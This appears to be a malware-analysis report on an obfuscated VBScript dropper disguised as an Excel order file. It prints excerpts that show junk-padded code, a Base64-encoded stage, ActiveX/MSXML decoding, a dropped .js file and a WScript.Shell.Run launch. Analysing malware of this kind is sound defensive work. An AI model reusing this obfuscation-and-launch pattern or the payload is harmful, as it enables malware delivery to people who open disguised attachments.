Hostile 100% download unavailable

ORDER-260922-67577.XLS.vbs

Obfuscated VBS executes decoded payload

Line-bloated VBScript conceals and launches ActiveX-decoded Base64 stageOffice document double-extension WSH script
SHA-2563695f266ddb8b8b61c271bfd6a38de4ffea477212d35c09c49fe285186f25745

Evidence

VBScript names look machine-generated lines 1–8
1
2FyCqiP = ""
3dim tUzIvSjtymVtyntusooPycLgLkgMPOtgfDxLNTjRZRQRZmkqsLFNBSRQI
4IF "49" = "59" THEN
5Dim SwLmWejtoNvphhYFXqhLtHZzpUEIfeNmgCuWYfCmhY
6'kYoAKehIebjFPLXLwCaaNKAJJemChroueUWAKpJZbXzlCbnjzMjzMGLaXfrfsebmnoauoWA
7End If
8FyCqiP = FyCqiP & "aFZ0Y0pPa3RDVXRjTGlVWk5lSXZrYk5TREFvID0gIiIgOw0KLy9HaG5IVUd2dWFJSnpBeEpha1FMY3F4ckZJYlpKYVZtWlBMV2V2TUVIaU5WY1NPUkZyTmRxUmNzSnBpenRobVVFVmprcGJlZlhNRXRjY1BtdUpVUk1zd0ltU01vTU5LYXdzUUdqZGJkTWlHZE1pUGdadkZqTlVJTVpieFhPcFNLQmR4akxJRFFocUZlbFN2RENnUFJJYk5ja0VoSGZFT1dRd2NqbGdWUnNwQldQZWFHZnVVaWFCQ2FRVXpHYXZrZGNpT3BwTVNXTHlaU1pyTkdlYmNsamZ2T3RDVFJoT3F3RVl1Z1FrUVRieVhjY2pCWUdzY3pUeXR3bXp2bnNBcHhIY09BeGdxdEtJSmxJVG1LQXVLb2xxY0dmeHVRcGRhYkphVXpWQWJaQ2pwS29IblRObG15cUFMUnpIVnptWkVoaGljaXltcHpTa21DQVJSWEthREVxY2tJT0R6TmZjbWNlSWRGZkVVYXZuZkZPSVFpcXhwTVZBcUZ5VFR2bmNUDQp2YXIgcXhKWHNvTHJGRmRJRHdmdEdtUldpbmFHZVJYSE1sWm5TVG9IRmtZdGVHakdzcm5KU2FOSVZGbERYQ3RhUkVmVWdxcGtIWG9WTlhzYkRVT21lTm9sWFFSTmhsa0NyeWNhYVBhQ0JEQnZtc3V4TkpBRG9Hd0RQdHhQWWNDV25sZFB2U0JvdExrYk10emVWVEFYbGdPa0JZ
VBScript CreateObject call lines 30–36
30:44xOgaQXYOUeOBuRSOrDnQylYizovqpOONVTab
31End If
32 Set ZgsOPduWsiYFAmlZYzrZLYsHNlaTSQcvkjATMLkrTxprpEiogqghHnsAnlBeCaDcGcVRmSMMPzGNiASICmncjuowqzfaKGp = CreateObject( VRAYLJzZEKVMjfEOkTCOEuSHoNALoCFxPGPPIHiuYVPexSxwcoznRJTazsjyI )
33
34dim caeyOgIDBIPdsiHDd
35IF "33" = "36" THEN
36Dim eZLqybbbhYG
Reference to .js file extension lines 39–42
39:184UaKWjYbrFlrRqWnzNPkYQNGmzOHaTucrrlMSnekgJfuDXvUpSegbgDjGUXX ) & "\tspVZuaaxsMw.js"
40dim SEZSaztZgUySqWaImdbYrlkIiRISOISIwWrRgfeouxjJpptC
41IF "56" = "51" THEN
42Dim tRKPMWKgURkJqaKYBpWTeIcHyndtBbStXFZwxDvZLKxOv
MSXML nodeTypedValue byte access lines 112–117
112:71xHXSJ
113End If
114 sGNnxAKlYICDsDOecgmTEAVWHxEfnrkOWKZ = kfvECljFuDBCjXmpFXNHYEGPuyYnkhOBRSqREwbRNqdnvSqfgkMDUdjfYgKDMvVMpAkQgUk.NodeTypedValue
115dim zbKrxBiTdzfHDTYZVZdcMfkQPPPNriPNKVoGudRQQPakmdEHtObhtqwUrtcimUbujSxieSesINMxFAelKHTdGhUUYUPBBjdvnfAUgWcbjjZfezOrPqXfByoBxdJKCdqZjQJZzJFneruWIoqZFYlLLyupryWDMSYFtzwNqprFkjAJERtInkFer
116IF "45" = "45" THEN
117Dim fOkWTiAmCbMTodIsciQggabyklaFOQbNuOOlLrWGr
CreateObject instantiates WScript.Shell lines 199–207
199:68pkscXHDMujgu
200End If
201QEkkuSoemqpwRKQxtLYIwuidmpmBmCbTm ECKwKOWXmfaumXXKVpzhskr, sGNnxAKlYICDsDOecgmTEAVWHxEfnrkOWKZ(FyCqiP)
202CreateObject("WScript.Shell").Run ECKwKOWXmfaumXXKVpzhskr
203
204dim jToDMdAUGnnkdNHBIdlRjJkkPMqPYMVKqbSCAtDWbutBwHyKABDQyOKZiDnzmlvtRdtCuEBPZOqoQjnHNgOXIFLbQsUwFDjqzzkSNvPwAoqjYVJyQglGWYkMSSmBjEKVeApQyUuSRSWUOcDu
205IF "38" = "42" THEN
206Dim jWgZRdTbPYAvJNNvdVEXgszvlTpEBPxpOsSN
207'YlDBgNBaUyJDF

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.